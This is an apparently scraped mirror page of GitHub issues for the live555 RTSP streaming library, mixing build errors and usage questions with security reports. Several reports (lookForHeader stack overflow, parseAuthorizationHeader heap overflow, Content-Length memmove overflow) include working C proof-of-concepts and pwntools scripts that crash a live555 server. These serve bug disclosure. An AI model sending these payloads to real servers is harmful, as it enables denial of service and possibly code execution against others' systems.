GithubHelp home page GithubHelp logo

rgaufman / live555 Goto Github PK

View Code? Open in Web Editor NEW
721.0 721.0 354.0 8.85 MB

A mirror of the live555 source code.

License: GNU Lesser General Public License v3.0

C++ 98.78% Makefile 0.14% Shell 0.05% C 0.98% Batchfile 0.03% Tcl 0.02%

live555's People

Contributors

akamigishi avatar rgaufman avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

live555's Issues

Can i send qcelp file on RTP packet with Live555

Hi i have specific Audio file that encode with qcelp and extension is *.qcp
I want to Know :
I can send this file from stream rtp that payload type is 12 with live555
Or there is a software can send qcelp file on stream because i need to generate pcap rtp with codec qcelp
** Payload type 12 is for qcelp codec.

Compilation fails on Ubuntu 17.10

In file included from RTSPClient.cpp:24:0:
include/Locale.hh:47:10: fatal error: xlocale.h: No such file or directory
#include <xlocale.h> // because, on some systems, <locale.h> doesn't include <xlocale.h>; this makes sure that we get both
^~~~~~~~~~~
compilation terminated.

openrtsp 2023.06.16 build issue

👋 trying to build the latest release, but run into some build issue. The error log is as below:

error build log
  BasicTaskScheduler.cpp: In member function ‘virtual void BasicTaskScheduler::SingleStep(unsigned int)’:
  BasicTaskScheduler.cpp:200:42: error: ‘struct std::atomic_flag’ has no member named ‘test’
    200 |         if (fTriggersAwaitingHandling[i].test()) {
        |                                          ^~~~
  make[1]: *** [Makefile:41: BasicTaskScheduler.o] Error 1

full build log, https://github.com/Homebrew/homebrew-core/actions/runs/5287551081/jobs/9568349761
relates to Homebrew/homebrew-core#133924

Stack Buffer Overflow in lookForHeader which can lead to DoS and possibly RCE

lookForHeader has a stack buffer overflow which can be triggered by a remote attacker leading to DOS and possibly remote code execution.

Bug explanation:

lookForHeader can find a single header and save its data multiple times for example:

Accept: data1
Accept: data2

Now the issue is that when the same header is found multiple times (as shown above) it wont reset resultStr thus when parsing 2 headers the bounds check of the
second header wont be correct anymore.

Example:

First header found:

Read up to resultMaxSize - 1 bytes to resultStr (and incrementing resultStr with each byte read).

Second header found:

Read upp to resultMaxSize - 1 bytes to resultStr (and incrementing resultStr with each byte read). (incorrect bounds check that can lead to buffer overflow)

This issue could be fixed in multiple ways. Two of them would be (double check please if this are correct ways to fix):

  • Only read the first header found
  • Only read the last header found (you could do this by resetting the resultStr pointer with every header found)

This bug can be triggered by a remote attacker through its calls in RTSPServer.cpp at lines 478 and 479 which use attacker controlled source data (the HTTP request)

PoC:

//g++ -o poc poc.cpp

#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

static const char *inputBuffer = "Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAccept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n";
static const unsigned int inputLen = strlen(inputBuffer);

static void lookForHeader(char const* headerName, char const* source, unsigned sourceLen, char* resultStr, unsigned resultMaxSize) {
  resultStr[0] = '\0';  // by default, return an empty string
  unsigned headerNameLen = strlen(headerName);
  for (int i = 0; i < (int)(sourceLen-headerNameLen); ++i) {
    if (strncmp(&source[i], headerName, headerNameLen) == 0 && source[i+headerNameLen] == ':') {
      // We found the header.  Skip over any whitespace, then copy the rest of the line to "resultStr":
      for (i += headerNameLen+1; i < (int)sourceLen && (source[i] == ' ' || source[i] == '\t'); ++i) {}
      for (unsigned j = i; j < sourceLen; ++j) {
        if (source[j] == '\r' || source[j] == '\n') {
          // We've found the end of the line.  Copy it to the result (if it will fit):
          if (j-i+1 > resultMaxSize) break;
          char const* resultSource = &source[i];
          char const* resultSourceEnd = &source[j];
          while (resultSource < resultSourceEnd) *resultStr++ = *resultSource++;
          *resultStr = '\0';
          break;
        }
      }
    }
  }
}

int main() {
  char resultStr[200];
  lookForHeader("Accept", inputBuffer, inputLen, resultStr, 200);
  return 0;
}

DoS PoC:

from pwn import *

r = remote('127.0.0.1', 8000)

http_request = ''
http_request += 'GET / HTTP/1.1' + '\r\n'
http_request += 'Accept: ' + 'A'*198 + '\r\n'
http_request += 'Accept: ' + 'A'*198 + '\r\n'
http_request += 'Accept: ' + 'A'*198 + '\r\n'
http_request += 'Accept: ' + 'A'*198 + '\r\n'
http_request += 'Accept: ' + 'A'*198 + '\r\n'
http_request += 'Accept: ' + 'A'*198 + '\r\n'
http_request += 'Accept: ' + 'A'*198 + '\r\n'
http_request += 'Accept: ' + 'A'*198 + '\r\n'
http_request += '\r\n'

r.send(http_request)

Issues when receiving a MPEG2-TS RTP packet from VLC Streamer and pass the same packets to a UDP port.

I have to receive MPEG2-TS RTP packets from a VLC server on port 1234 and loopback this MPEG2-TS payload as UDP packets to a Port 2300.

So I have taken testMPEG2TransportReceiver.cpp as reference and added udpsink portion of code from testRelay.cpp with certain modifications.

But no udp packets are reaching port 2300.

My test program looks like -

int main(int argc, char** argv) {
// Begin by setting up our usage environment:
TaskScheduler* scheduler = BasicTaskScheduler::createNew();
env = BasicUsageEnvironment::createNew(*scheduler);

// Create the data sink for 'stdout':
//sessionState.sink = FileSink::createNew(*env, "stdout");
// Note: The string "stdout" is handled as a special case.
// A real file name could have been used instead.

// Create 'groupsocks' for RTP and RTCP:
char const* sessionAddressStr

ifdef USE_SSM

= "232.255.42.42";

else

//= "239.255.42.42";
= "0.0.0.0";

// Note: If the session is unicast rather than multicast,
// then replace this string with "0.0.0.0"

endif

const unsigned short rtpPortNum = 1234;
const unsigned short rtcpPortNum = rtpPortNum+1;

ifndef USE_SSM

const unsigned char ttl = 1; // low, in case routers don't admin scope

endif

struct in_addr sessionAddress;
sessionAddress.s_addr = our_inet_addr(sessionAddressStr);
const Port rtpPort(rtpPortNum);
const Port rtcpPort(rtcpPortNum);

ifdef USE_SSM

char* sourceAddressStr = "aaa.bbb.ccc.ddd";
// replace this with the real source address
struct in_addr sourceFilterAddress;
sourceFilterAddress.s_addr = our_inet_addr(sourceAddressStr);

Groupsock rtpGroupsock(_env, sessionAddress, sourceFilterAddress, rtpPort);
Groupsock rtcpGroupsock(_env, sessionAddress, sourceFilterAddress, rtcpPort);
rtcpGroupsock.changeDestinationParameters(sourceFilterAddress,0,~0);
// our RTCP "RR"s are sent back using unicast

else

Groupsock rtpGroupsock(_env, sessionAddress, rtpPort, ttl);
Groupsock rtcpGroupsock(_env, sessionAddress, rtcpPort, ttl);

endif

// Create the data source: a "MPEG-2 TransportStream RTP source" (which uses a 'simple' RTP payload format):
sessionState.source = SimpleRTPSource::createNew(_env, &rtpGroupsock, 33, 90000, "video/MP2T", 0, False /_no 'M' bit*/);

// Create (and start) a 'RTCP instance' for the RTP source:
const unsigned estimatedSessionBandwidth = 160; // in kbps; for RTCP b/w share
const unsigned maxCNAMElen = 100;
unsigned char CNAME[maxCNAMElen+1];
gethostname((char_)CNAME, maxCNAMElen);
CNAME[maxCNAMElen] = '\0'; // just in case
sessionState.rtcpInstance
= RTCPInstance::createNew(_env, &rtcpGroupsock,
estimatedSessionBandwidth, CNAME,
NULL /* we're a client */, sessionState.source);
// Note: This starts RTCP running automatically

// Create a 'groupsock' for the destination address and port:
char const* outputAddressStr = "127.0.0.1"; // this could also be unicast
// Note: You may change "outputAddressStr" to use a different multicast
// (or unicast address), but do not change it to use the same multicast
// address as "inputAddressStr".
struct in_addr outputAddress;
outputAddress.s_addr = our_inet_addr(outputAddressStr);

Port const outputPort(2300);
unsigned char const outputTTL = 255;

Groupsock outputGroupsock(*env, outputAddress, outputPort, outputTTL);

// Then create a liveMedia 'sink' object, encapsulating this groupsock:
unsigned const maxPacketSize = 65536; // allow for large UDP packets
//unsigned const maxPacketSize = 1316;
MediaSink* sink = BasicUDPSink::createNew(*env, &outputGroupsock, maxPacketSize);

// Now, start playing, feeding the sink object from the source:
_env << "Begin sending multicast stream...\n";
sink->startPlaying(_sessionState.source, NULL, NULL);

env->taskScheduler().doEventLoop(); // does not return

return 0; // only to prevent compiler warning

}

Can you let know what's the issue.

RTSPServer::registerStream() receiving DESCRIBE request in REGISTER's success response (200 OK) from Proxy Server

Description :

We are using live555 library (proxyServer) for proxying the back-end Camera streams to end clients in one of our applications.

Recently I was trying to write a Camera simulation application (using live555 2017.09.12) to test our Proxy Server. This Camera simulation app Registers an RTSP stream (generated from local video file) with our Proxy Server application. I have implemented this code referring to testOnDemandRTSPServer.cpp. This code is working fine.

But occassionally stream is not getting registered properly with the Proxy Server. With the help of tcpdump and additional logs, I have found that Camera simulation app received DESCRIBE request along with response to REGISTER request. Below is the corresponding log that printed contents of fResponseBuffer during Registration failure.

fResponseBuffer :

RTSP/1.0 200 OK
CSeq: 3
Date: Thu, Oct 12 2017 14:56:02 GMT

DESCRIBE rtsp://10.0.1.163:8554/matroskaFileTest RTSP/1.0
CSeq: 2
User-Agent: Video Framework
Accept: application/sdp

Because of this, DESCRIBE request is not processed by Camera simulation app and Registration is getting failed some times.

Steps to reproduce :

Register a stream (generated using sms object in testOnDemandRTSPServer.cpp) to proxy server using RTSPServer::registerStream(). Then run this binary (testOnDemandRTSPServer) in several times. Occassionally REGISTRATION would fail because of this issue. This can be confirmed by printing contents of fResponseBuffer in RTSPClient::handleResponseBytes().

openrtsp 2022.11.19 build issue

👋 trying to build the latest release, but run into some build issue. The error log is as below:

build error
GroupsockHelper.cpp:745:30: error: expected expression
      MAKE_SOCKADDR_IN6(name,IN6ADDR_ANY_INIT, 0);
                             ^
/Library/Developer/CommandLineTools/SDKs/MacOSX13.sdk/usr/include/netinet6/in6.h:186:2: note: expanded from macro 'IN6ADDR_ANY_INIT'
        {{{ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
        ^
1 error generated.

full build log, https://github.com/Homebrew/homebrew-core/actions/runs/3551280636/jobs/5965360162
relates to Homebrew/homebrew-core#116222

Slightly incorrect socket closing

Good day.
In the GroupSock library closing of a socket is not fully correct. Closing there is just uses CloseSocket (aka closesocket). When the input or output buffer is not empty, socket handle wil not be freed. It's ok, when the application just opens a few sessions and then exits, but when application is working long time and often connects and reconnects, there will be the situation when handle amount (can be changed with ulimit) will run over. To avoid that it is necessary to call shutdown(socket, SHUT_RDWR) first, to clean up both buffers and to stop receiving any data, then CloseSocket(socket) will definitely close it and file handle will be released.

how to receive g726 stream

WA_PCMA means g711a and WA_PCMU means g711u,how can I porting g726,I use enum IMA_ADPCM,but It‘s not work

Live555 ProxyServer - RTP/RTCP UDP port range

I need to have up & running multiple proxy server instances. My UDP available ports for RTP & RTCP are limited. Which would be the best approach to limit the udp port range that live555 proxy server can take?

Issues while bringing up on Braodcom (mipsel) 7425 Set Top Box

Hi,

I am trying to bring live555 on Broadcom 7425 Reference Set Top Box. When I am giving build using mipsel tool chain supplied by Broadcom, the compilation fails. Reporting missing linux header in mipsel toolchain (one e.g. xlocale.h not present).

Heap-use-after-free bug

There is a Heap Use After Free bug in Live555 in this repository. (This bug is fixed in the last version of Live555 in 2022 )

The ASAN output is:
==1089==ERROR: AddressSanitizer: heap-use-after-free on address 0x60800000bfa8 at pc 0x0000004df57d bp 0x7fff9326ad20 sp 0x7fff9326ad10
READ of size 8 at 0x60800000bfa8 thread T0
#0 0x4df57c in MatroskaDemux::newDemuxedTrackByTrackNumber(unsigned int) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x4df57c)
#1 0x45a60c in MatroskaFileServerDemux::newDemuxedTrack(unsigned int, unsigned int) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x45a60c)
#2 0x45ab32 in MatroskaFileServerMediaSubsession::createNewStreamSource(unsigned int, unsigned int&) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x45ab32)
#3 0x4d6577 in OnDemandServerMediaSubsession::getStreamParameters(unsigned int, unsigned int, Port const&, Port const&, int, unsigned char, unsigned char, unsigned int&, unsigned char&, unsigned char&, Port&, Port&, void*&) (/home/ubuntu/experiments/live555-cov/testP$
ogs/testOnDemandRTSPServer+0x4d6577)
#4 0x416ae2 in RTSPServer::RTSPClientSession::handleCmd_SETUP(RTSPServer::RTSPClientConnection*, char const*, char const*, char const*) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x416ae2)
#5 0x41067a in RTSPServer::RTSPClientConnection::handleRequestBytes(int) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x41067a)
#6 0x40ae4d in GenericMediaServer::ClientConnection::incomingRequestHandler() (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x40ae4d)
#7 0x40af10 in GenericMediaServer::ClientConnection::incomingRequestHandler(void*, int) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x40af10)
#8 0x514415 in BasicTaskScheduler::SingleStep(unsigned int) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x514415)
#9 0x518f0f in BasicTaskScheduler0::doEventLoop(char volatile*) (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x518f0f)
#10 0x404bd9 in main (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x404bd9)
#11 0x7f6b73bd783f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
#12 0x407108 in _start (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x407108)

0x60800000bfa8 is located 8 bytes inside of 88-byte region [0x60800000bfa0,0x60800000bff8)
freed by thread T0 here:
#0 0x7f6b747beb2a in operator delete(void*) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99b2a)
#1 0x4e0080 in MatroskaDemux::~MatroskaDemux() (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x4e0080)

previously allocated by thread T0 here:
#0 0x7f6b747be532 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99532)
#1 0x4df3ba in MatroskaFile::newDemux() (/home/ubuntu/experiments/live555-cov/testProgs/testOnDemandRTSPServer+0x4df3ba)

SUMMARY: AddressSanitizer: heap-use-after-free ??:0 MatroskaDemux::newDemuxedTrackByTrackNumber(unsigned int)
Shadow bytes around the buggy address:
0x0c107fff97a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff97b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff97c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff97d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff97e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c107fff97f0: fa fa fa fa fd[fd]fd fd fd fd fd fd fd fd fd fa
0x0c107fff9800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff9810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff9820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff9830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff9840: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==1089==ABORTING

To reproduce:

  1. Copy attached test.webm file into testProgs/test.webm
  2. run the server
  3. Get connected to the server and try to play the multimedia.
live_HUAF_bug1_test.webm

Boolean seqNumLT(u_int16_t s1, u_int16_t s2) bug?

The seqNumLT function source is as follows:

Boolean seqNumLT(u_int16_t s1, u_int16_t s2) {
// a 'less-than' on 16-bit sequence numbers
int diff = s2 - s1;
if (diff > 0) {
return (diff < 0x8000);
} else if (diff < 0) {
return (diff < -0x8000);
} else { // diff == 0
return False;
}
}

The line return (diff < -0x8000); is intended to determine if s1 has rolled over when s1 is greater than s2.
When the diff value is smaller, it does not necessarily imply a 'less-than' condition but rather a rollover situation.
Therefore, it seems correct to modify this line to return (diff >= -0x8000); to accurately reflect the condition being checked.

There is a buffer overflow which can lead to dos in live555 v0.95

When parse the request packet in function handleRequestBytes, the code don't check the content-length, and use it in memmove. Finally cause the buff overflow.

    unsigned requestSize = (fLastCRLF+4-fRequestBuffer) + contentLength;
    numBytesRemaining = fRequestBytesAlreadySeen - requestSize;
    resetRequestBuffer(); // to prepare for any subsequent request
    
    if (numBytesRemaining > 0) {
      memmove(fRequestBuffer, &fRequestBuffer[requestSize], numBytesRemaining);
      newBytesRead = numBytesRemaining;
    }

There is a content-length check, but it only assigns parseSucceeded to false.
This can't avoid the memmove.

Boolean parseSucceeded = parseRTSPRequestString((char*)fRequestBuffer, fLastCRLF+2 - fRequestBuffer,
						    cmdName, sizeof cmdName,
						    urlPreSuffix, sizeof urlPreSuffix,
						    urlSuffix, sizeof urlSuffix,
						    cseq, sizeof cseq,
						    sessionIdStr, sizeof sessionIdStr,
						    contentLength);
    fLastCRLF[2] = '\r'; // restore its value
    // Check first for a bogus "Content-Length" value that would cause a pointer wraparound:
    if (tmpPtr + 2 + contentLength < tmpPtr + 2) {
#ifdef DEBUG
      fprintf(stderr, "parseRTSPRequestString() returned a bogus \"Content-Length:\" value: 0x%x (%d)\n", contentLength, (int)contentLength);
#endif
      parseSucceeded = False;
    }

I can make the server crash with a simple packet.

from pwn import *
p1 = remote("IP", Port)

pl = "OPTIONS rtsp://10.113.214.93:8554/a.mkv RTSP/1.0\r\nCSeq: 1 \r\nUser-Agent: Lavf55.37.102\r\n"
pl += "Content-Length: 4294927296\r\n\r\n"
p1.send(pl)

Build issue on ProxyServer

./genMakefiles linux

After generating Makefiles for all project,

cd proxyServer
make

Which shows

c++ -c -I../UsageEnvironment/include -I../groupsock/include -I../liveMedia/include -I../BasicUsageEnvironment/include -I. -O2 -DSOCKLEN_T=socklen_t -D_LARGEFILE_SOURCE=1 -D_FILE_OFFSET_BITS=64 -Wall -DBSD=1   live555ProxyServer.cpp
make: *** No rule to make target '../liveMedia/libliveMedia.a', needed by 'live555ProxyServer'.  Stop.

Though a live555ProxyServer.o is generated in proxyServer folder.

Custom SDP

Hi,

It will be possible to use a custom SDP description from a file to overcome the DESCRIPTION phase?
The idea is something like openRSTP --sdp-file ./mytest.sdp "rtsp://my-server/video".

Thank you

Earlier versions

Hi

I'm trying to compile a libvlc 5.6.0 for my Ubuntu 22 with live555 support so that I can play rtsp streams.
When I try to compile, I get:

CXX access/liblive555_plugin_la-live555.lo
access/live555.cpp: In function ‘int SessionsSetup(demux_t*)’:
access/live555.cpp:855:63: error: ‘class MediaSubsession’ has no member named ‘connectionEndpointAddress’; did you mean ‘getConnectionEndpointAddress’?
855 | p_sys->b_multicast = IsMulticastAddress( sub->connectionEndpointAddress() );
| ^~~~~~~~~~~~~~~~~~~~~~~~~
| getConnectionEndpointAddress

I'm guessing this is due to a new version. I can't find any older versions anywhere. Neither on the live555 website, nor on this github. I really need something I can use with VLC 3.0.16 so that it compiles and does rtsp. Any suggestions?

Multiple session Teardown problem

I'm proxying a RTSP stream with live555 proxy server. Then I have 2 sessions active one with VLC and other one with OpenRTSP:

  • openRTSP -v -V rtsp://192.168.0.101:8554/proxyStream
  • vlc --extraintf=http:logger --verbose=5 --file-logging --logfile=vlc-log.txt rtsp://192.168.0.101:8554/proxyStream

Please notice that openRTSP play is only video without audio.

After a couple of seconds, I stop the VLC stream, a TEARDOWN command is sent, and the openRTSP is automatically stopped as well.

I added a couple of logs to the source code and seems it is not re-using the session but it is creating a new session. So when the VLC stream send a TEARDOWN, then the proxyserver sends a PAUSE command.

This same scenario occurs with Janus and a webrtc channel that consumes only a video channel from the live555 proxy-server.

It is my understanding that the problem is a new source stream is being created if no audio channel is consumed instead of re-using.

Researching I found this thread:
https://live-devel.live555.narkive.com/qGf6LfB7/proxyserver-subsession-teardown

It mentions a fix being included, was that patch included in this repo?

How to send RTSP Receiver Reports more frequently?

Hi,

I'm playing an rtsp stream (over UDP) from a network camera with vlc which uses live555 for receiving packets. And once in a while it sends out a Receiver Report (RR) with stats.

I would like to make live555 to send out RRs once every N packets (e.g. N=50) received from the sender. How can I do this?

In the network there can be switches with lower bandwidth (like wifi) than immediate camera or pc links. This results in congestions where UDP packets overflow some switch's buffer (128kB in my case) and get dropped. So, I'm thinking about having some sort of a flow control (with a short reaction time) on the sender side based on RRs from receiver but without resending lost packets (like TCP would do).

So, I've checked the code and liveMedia/MultiFramedRTPSource.cpp looks like a good place:

...
receptionStatsDB().noteIncomingPacket(...);
// code begin
if ((receptionStatsDB().totNumPacketsReceived()%50)==0){
    someRTCPInstance.sendReport();
}
// code end
...

Haven't figure out what that someRTCPInstance should be.
Thanks.

Multiple byte heap buffer overflow in parseAuthorizationHeader which can lead to DoS and most likely RCE

Bug discovered by: Mans van Someren from WhatTheBug

Version: latest (http://www.live555.com/liveMedia/public/live555-latest.tar.gz)

  • The size of the parameter and value buffer is based on the length of the string that is in fields at the moment they are being allocated.

Then the following happens in a loop:

  • sscanf data from fields to parameter and value
  • increment fields pointer based on the length of the string in parameter and value

Now the overflow occurs when fields contains a null byte in the middle of it. Lets take as an example:

fields = "AAAAAAA\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

Now it will first allocate space for AAAAAAA, sscanf AAAAAAA to parameter and advance fields till past the null byte. The loop will continue with scanning BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB to parameter and thus giving a huge overflow.

PoC:

//g++ -o poc poc.cpp strDup.cpp

#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <strings.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include "strDup.hh"

#define True true
#define False false
#define Boolean bool

#define _strncasecmp strncasecmp

static Boolean parseAuthorizationHeader(char const* buf,
                                        char const*& username,
                                        char const*& realm,
                                        char const*& nonce, char const*& uri,
                                        char const*& response) {
  // Initialize the result parameters to default values:
  username = realm = nonce = uri = response = NULL;

  // First, find "Authorization:"
  while (1) {
    if (*buf == '\0') return False; // not found
    if (_strncasecmp(buf, "Authorization: Digest ", 22) == 0) break;
    ++buf;
  }

  // Then, run through each of the fields, looking for ones we handle:
  char const* fields = buf + 22;
  while (*fields == ' ') ++fields;
  char* parameter = strDupSize(fields);
  char* value = strDupSize(fields);
  while (1) {
    value[0] = '\0';
    if (sscanf(fields, "%[^=]=\"%[^\"]\"", parameter, value) != 2 &&
        sscanf(fields, "%[^=]=\"\"", parameter) != 1) {
      break;
    }
    if (strcmp(parameter, "username") == 0) {
      username = strDup(value);
    } else if (strcmp(parameter, "realm") == 0) {
      realm = strDup(value);
    } else if (strcmp(parameter, "nonce") == 0) {
      nonce = strDup(value);
    } else if (strcmp(parameter, "uri") == 0) {
      uri = strDup(value);
    } else if (strcmp(parameter, "response") == 0) {
      response = strDup(value);
    }

    fields += strlen(parameter) + 2 /*="*/ + strlen(value) + 1 /*"*/;
    while (*fields == ',' || *fields == ' ') ++fields;
    // skip over any separating ',' and ' ' chars
    if (*fields == '\0' || *fields == '\r' || *fields == '\n') break;
  }
  delete[] parameter; delete[] value;
  return True;
}

int main() {
  char const* username = NULL; char const* realm = NULL; char const* nonce = NULL;
  char const* uri = NULL; char const* response = NULL;
  parseAuthorizationHeader("Authorization: Digest AAAAAAA\0BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", username, realm, nonce, uri, response);
  if (username) delete[] username;
  if (realm) delete[] realm;
  if (nonce) delete[] nonce;
  if (uri) delete[] uri;
  if (response) delete[] response;
  return 0;
}

Remote DoS PoC (define ACCESS_CONTROL in mediaServer/live555MediaServer.cpp for this PoC):

from pwn import *

r = remote('127.0.0.1', 8554)

request = ''

#this first request will set the nonce to get to parseAuthorizationHeader

request += 'SETUP rtsp://127.0.0.1:8554/ RTSP/1.0' + '\r\n'
request += 'Cseq: 3' + '\r\n'
request += '\r\n'

#end of first request second request gets passed to parseAuthorizationHeader

request += 'SETUP rtsp://127.0.0.1:8554/ RTSP/1.0' + '\r\n'
request += 'Cseq: 3' + '\r\n'
request += 'Authorization: Digest AAAAAA\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB' + '\r\n'
request += '\r\n'

r.send(request)

There is a memory leak in function parseAuthorizationHeader, which can cause a DoS

In the lastest version of live555, there is a memory leak issue.
The attacker can make the server crash with this issue.

when parse the setup packet with many username fileds, the value of username will be duplicated many times at [1].
The pointers of username value can't be freed ever, except for the last one.
The fileds realm nonce uri response have the same problem.

static Boolean parseAuthorizationHeader(char const* buf,
					char const*& username,
					char const*& realm,
					char const*& nonce, char const*& uri,
					char const*& response) {
  // Initialize the result parameters to default values:
  username = realm = nonce = uri = response = NULL;
  
  // First, find "Authorization:"
  while (1) {
    if (*buf == '\0') return False; // not found
    if (_strncasecmp(buf, "Authorization: Digest ", 22) == 0) break;
    ++buf;
  }
  
  // Then, run through each of the fields, looking for ones we handle:
  char const* fields = buf + 22;
  while (*fields == ' ') ++fields;
  char* parameter = strDupSize(fields);
  char* value = strDupSize(fields);
  while (1) {
    value[0] = '\0';
    if (sscanf(fields, "%[^=]=\"%[^\"]\"", parameter, value) != 2 &&
	sscanf(fields, "%[^=]=\"\"", parameter) != 1) {
      break;
    }
    if (strcmp(parameter, "username") == 0) {
      username = strDup(value);    //[1]
    } else if (strcmp(parameter, "realm") == 0) {
      realm = strDup(value);
    } else if (strcmp(parameter, "nonce") == 0) {
      nonce = strDup(value);
    } else if (strcmp(parameter, "uri") == 0) {
      uri = strDup(value);
    } else if (strcmp(parameter, "response") == 0) {
      response = strDup(value);
    }
    
    fields += strlen(parameter) + 2 /*="*/ + strlen(value) + 1 /*"*/;
    while (*fields == ',' || *fields == ' ') ++fields;
        // skip over any separating ',' and ' ' chars
    if (*fields == '\0' || *fields == '\r' || *fields == '\n') break;
  }
  delete[] parameter; delete[] value;
  return True;
}

Please, do not post bug reports here.

This is not an official clone of the live555 project.

Bug reports posted here are not considered by the live555 developers. Instead you should post bug reports on the official mailing list.

This leads to serious issues when security vulnerabilities are reported here without informing the live555 developers. @rgaufman can you do something to prevent this? Close this clone to bug reports?

For more information, please see: http://www.live555.com/liveMedia/faq.html#mailing-list-address

Thanks!

openrtsp build issue

👋 trying to build the latest release, but run into some build issue. The error log is as below:

build failure
==> ./genMakefiles macosx
cat: config.macosx: No such file or directory
cat: config.macosx: No such file or directory
cat: config.macosx: No such file or directory
cat: config.macosx: No such file or directory
cat: config.macosx: No such file or directory
cat: config.macosx: No such file or directory
cat: config.macosx: No such file or directory
cat: config.macosx: No such file or directory
cat: config.macosx: No such file or directory
==> make PREFIX=/usr/local/Cellar/openrtsp/2020.11.22 LIBS_FOR_CONSOLE_APPLICATION=/usr/local/opt/[email protected]/lib/libcrypto.dylib /usr/local/opt/[email protected]/lib/libssl.dylib install
cd liveMedia ; /Applications/Xcode.app/Contents/Developer/usr/bin/make install
make[1]: *** No rule to make target `Media.', needed by `libliveMedia.'.  Stop.
make: *** [install] Error 2

Full build log is here, https://github.com/Homebrew/homebrew-core/runs/1578258353
relates to Homebrew/homebrew-core#67185 (pretty much the same error in the other PRs as well, Homebrew/homebrew-core#65476, since Nov 22)

Interface between live555 and Java

I am trying to develop an interface between your code and the Java language from JNI (because so far I have not found on the internet). The problem is that I have trouble understanding your code. Would there be precise documentation of each method, class and file of your project ?

Je cherche à développer une interface entre votre code et le langage Java grâce à JNI (parce que jusqu'à présent je n'en ai pas trouvé sur internet). Le problème est que j'ai du mal à comprendre votre code. Y'aurait-il une documentation précise de chaque méthodes, classes et fichier de votre projet ?

There is a Denial of service attack issue that can cause program to crash in LIVE555 Media Server version 0.93.

ISSUE DESCRIPTION

The project website : http://www.live555.com/liveMedia/

I found a new way to make RTSPServer crash in lastest version 0.93 when RTSP-over-HTTP tunneling is supported.

